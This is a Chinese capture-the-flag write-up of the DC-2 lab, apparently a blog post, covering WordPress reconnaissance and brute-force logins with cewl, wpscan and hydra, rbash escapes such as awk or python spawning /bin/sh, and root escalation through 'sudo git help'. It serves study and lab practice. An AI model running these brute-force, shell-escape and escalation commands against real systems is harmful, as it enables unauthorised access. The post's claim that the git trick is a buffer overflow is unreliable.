zoukankan      html  css  js  c++  java
  • DC-2

    靶机渗透目标:找寻DC-2靶机中最终的flag。(懒狗拖拖拖了好几天才搞完Orz)

    第一步:在网段下使用命令netdiscover去找主机ip

    netdiscover:二层发现工具,拥有主动和被动发现两种方式

    基本用法:

    • -p 被动模式。默默的侦听指定的网卡以发现别的二层主机
    • -t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
    • -l file: 指定扫描范围列表文件
    • -p passive mode: 使用被动扫描的方式,不发送任何数据
    • -m file: 扫描已知 mac 地址和主机名的电脑列表
    • -F filter: 指定 pcap 筛选器表达式(默认:“arp”)
    • -s time: 每个 arp 请求之间的睡眠时间(毫秒)
    • -n node: 使用八字节的形式扫描(2 - 253)
    • -c count: 发送 arp 请求的时间次数
    • -f: 使用主动模式的扫描
    • -d: 忽略配置文件
    • -S: 启用每个 arp 请求之间抑制的睡眠时间
    • -P: 打印结果
    • -N: 不打印头。只有启用- p时有效。
    • -L: 将捕获的信息输出(-P),并继续进行扫描

    过程

    netdiscover -r 192.168.191.0 (设置扫描网段为192.168.191.0),好慢

    sudo netdiscover -i eth0 -r 192.168.191.0/24(设置监听的网卡为eth0,设置监听的网段为192.168.191.0,好慢)

    总之是发现了192.168.191.183这台主机 ( ̄︶ ̄*))

    第二步:使用nmap扫描ip的端口

    nmap:太常用了不解释

    (以后更新)

    过程

    确定靶机的ip是192.168.191.183

    接下来发现开放了80端口和7744端口,根据端口信息,可以发现是一个wordpress界面。

    知道靶机开放了80端口后,在浏览器输入ip进行访问,发现无法访问,需要设置hosts文件,之后在浏览器进行访问,界面显示如下,是一个wordpress的界面

    第三步:使用cewl工具破解密码

    cewl:通过爬行网站获取关键信息创建一个密码字典

    命令如下:cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt (1.1.1.1可以是目标网站的ip地址,也可以是网址)

    • -m:最小单词长度
    • -d:爬网深度
    • -e:收集包含emali地址信息
    • -c:每个单词出现的次数
    • 支持基本,摘要,身份验证,支持代理

    过程

    点击页面上的flag,发现了flag1,根据提示用到cewl破解密码。

    百度查到wordpress的后台登录地址:wp-login.php

     使用命令:curl -w dc2_password.txt http://dc-2/,将在指定的url中爬行,将结果输出为一个列表,用-w参数将爬行的结果输出。

    第四步:使用wpscan工具扫描用户名

    WPScan:扫描WordPress网站中本身漏洞、插件漏洞和主题漏洞,不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

    常用选项

    • --update 更新到最新版本
    • --url -u 要扫描的`WordPress`站点.
    • --force -f 不检查网站运行的是不是`WordPress`
    • --enumerate -e [option(s)] 枚举
    • u 枚举用户名,默认从1-10
    • u[10-20] 枚举用户名,配置从10-20
    • p 枚举插件
    • vp 只枚举有漏洞的插件
    • ap 枚举所有插件,时间较长
    • tt 列举缩略图相关的文件
    • t 枚举主题信息
    • vt 只枚举存在漏洞的主题
    • at 枚举所有主题,时间较长
    • --exclude-content-based 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹
    • --config-file -c
    • --user-agent -a
    • --cookie
    • --random-agent -r 使用随机User-Agent
    • --follow-redirection 如果目标包含一个重定向,则直接跟随跳转
    • --batch 无需用户交互,都使用默认行为
    • --no-color 不要采用彩色输出
    • --wp-content-dir
    • --wp-plugins-dir
    • --proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议
    • --proxy-auth
    • --basic-auth
    • --wordlist -w
    • --username -U
    • --usernames path-to-file指定爆破用户名字典
    • --threads -t
    • --cache-ttl cache-ttl设置 cache TTL
    • --request-timeout request-timeout请求超时时间
    • --connect-timeout connect-timeout连接超时时间
    • --max-threads max-threads最大线程数
    • --throttle milliseconds当线程数设置为1时,设置两个请求之间的间隔
    • --help -h 输出帮助信息
    • --verbose -v 输出Verbose
    • --version 输出当前版本

    过程

     wpscan其他功能试了一遍,没什么产出,也就爆破用户出了点结果。

     获得用户名:admin,jerry,tom。接着用wpscan也可以爆破出用户名对应的密码:

    cewl http://dc-2/ -w ~/dc2.txt
    # 生成密码
    wpscan --url http://dc-2  --passwords dc2.txt  --usernames user.txt
    # 爆破

    第五步:hydra及cewl爬取的密码字典及自己的用户名字典进行暴力破解

    hydra:hydra破解工具支持多种协议的登录密码

    命令:

    • -R 修复之前使用的aborted/crashed session
    • -S 执行SSL(Secure Socket Layer)连接
    • -s Port 使用非默认服务器端口而是其他端口时,指定其端口
    • -l Login 已经获取登录ID的情况下输入登录ID
    • -L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
    • -p Pass 已经获取登录密码的情况下输入登录密码
    • -P FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
    • -x MIN:MAX:CHARSET 暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解
    • -C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
    • -M FILE指定实施并列攻击的文件服务器的目录文件
    • -o FILE以STDOUT的形式输出结果值
    • -f 查找到第一个可以使用的ID和密码的时候停止破解
    • -t TASKS 指定并列连接数(默认值:16)
    • -w 指定每个线程的回应时间(Waittime)(默认值:32秒)
    • -4/6 指定IPv4/IPv6(默认值:IPv4)
    • -v/-V 显示详细信息
    • -U 查看服务器组件使用明细
    • 破解ssh的密码:hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
    • 破解https:hydra -m /index.php -l username -P pass.txt IP https
    • 破解teamspeak:hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
    • 破解cisco:hydra -P pass.txt IP cisco
      • hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
    • 破解smb:hydra -l administrator -P pass.txt IP smb
    • 破解pop3:hydra -l muts -P pass.txt my.pop3.mail pop3
    • 破解rdp:hydra IP rdp -l administrator -P pass.txt -V
    • 破解http-proxy:hydra -l admin -P pass.txt http-proxy://10.36.16.18
    • 破解telnet:hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
    • 破解ftp:hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
      • hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
    • get方式提交,破解web登录:hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
      • hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
    • post方式提交,破解web登录:hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword
      • hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"

    过程

    hydra -L user.txt  -P dc2.txt  dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

    引号里面的数据格式解析:

    • /wp-login.php: 代表请求目录
    • : 分隔参数
    • ^USER^和^PASS^:攻击载荷
    • S:密码正确时返回应用的关键字符串

    分别使用这两个用户名进行登录。成功后,后台界面管理中,找到了有个发布信息的地方,发现了flag和flag2,将flag2打开查看里面的信息,大致意思是如果无法利用wordpress,还有另一个切入点。(好惨,我手里的这个dc-2压根没有这一条hint)用tom登录,用vi命令可以看到flag3.txt

    tom的权限不足,有很多的命令都被禁用了,看了一下提示,应该是要进行提权,提示先用jerry账号登录

    输入exit退出tom,用jerry登录发现了flag4.txt

    PS:rbash绕过做法

    rbash(restricted bash),即受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。rbash就是受限制的bash,一般管理员会限制很多命令,例如whoami cd cat等很多常用的命令,不过肯定会有命令可以使用,

    我们可以查看$PATH有哪些:echo $PATH

    绕过方法:

    1.
    vi test
    :!/bin/sh
    
    2.
    ed
    
    3.
    ne
    
    4. 
    more less
    more test 
    !'sh'
    
    5.
    man ls
    操作同more less
    
    6.find
    /usr/bin/find /etc/passwd  -exec whoami ;
    /usr/bin/find /etc/passwd  -exec /bin/sh ;
    
    7.nmap
    低版本
    
    8.
    awk 'BEGIN {system("/bin/sh")}'
    
    9.
    python -c "import os;os.system('whoami')"
    python -c "import os;os.system('/bin/sh')"
    python -c "import pty;pty.spawn('/bin/sh')"
    
    10.
    BASH_CMDS[a]=/bin/sh;a
    export PATH = $PATH:/bin/
    ​export PATH=$PATH:/usr/bin

    第六步:git提权

    命令原理是git存在缓冲区溢出漏洞,在使用以下命令时,不需要输入root密码即可以root权限执行这两条命令:

    sudo git help config
    !/bin/bash 或者 !'sh'完成提权
    
    sudo git -p help
    !/bin/bash

    过程

    根据flag4.txt文件信息,使用git提权。第一个方法成功。

    终于在/root里面得到最后的flag

    参考

    https://www.freebuf.com/articles/es/208918.html

    https://www.freebuf.com/articles/web/244182.html

    https://www.cnblogs.com/zaqzzz/p/12075132.html(Linux提权)

    后记

    什么是Wpscan

    该扫描器可以实现获取Wordpress站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

    使用参数

    扫描WordPress漏洞:wpscan --url http://www.xxxxx.top/
    扫描wordpress用户:wpscan --url https://adywhisper.com/ --enumerate u

    扫描主题:wpscan --url http://www.xxxxx.top/ --enumerate t

    在这里插入图片描述

    扫描主题中的漏洞:wpscan --url http://www.xxxxx.top/ --enumerate vt

    扫描插件漏洞:wpscan --url https://adywhisper.com/ --enumerate p 

    扫描插件中的漏洞:wpscan --url http://www.xxxxx.top/ --enumerate vp

    暴力破解:wpscan --url https://www.xxxxx.top/ -e u --wordlist /root/桌面/password.txt

    参考:https://www.freebuf.com/sectool/174663.html,根据参考可以结合msf进一步st但是没欸有找到合适的站点验证(⌐■_■)

  • 相关阅读:
    flex布局语法
    sqlserver判断text字段是否有数据
    z-index设置后导致遮罩层显示跳动问题
    C# UpdatePanel加载完毕回调JS
    json日期字符串格式化时间
    钉钉考勤机开发需要注意的一个坑
    python bs4 + requests4 简单爬虫
    温故而知新: 关于 js Form 方式提交的一些新认知
    window 环境 Composer 安装 thinkphp5
    百度地图 绘制东莞东城地图示例
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/14990550.html
Copyright © 2011-2022 走看看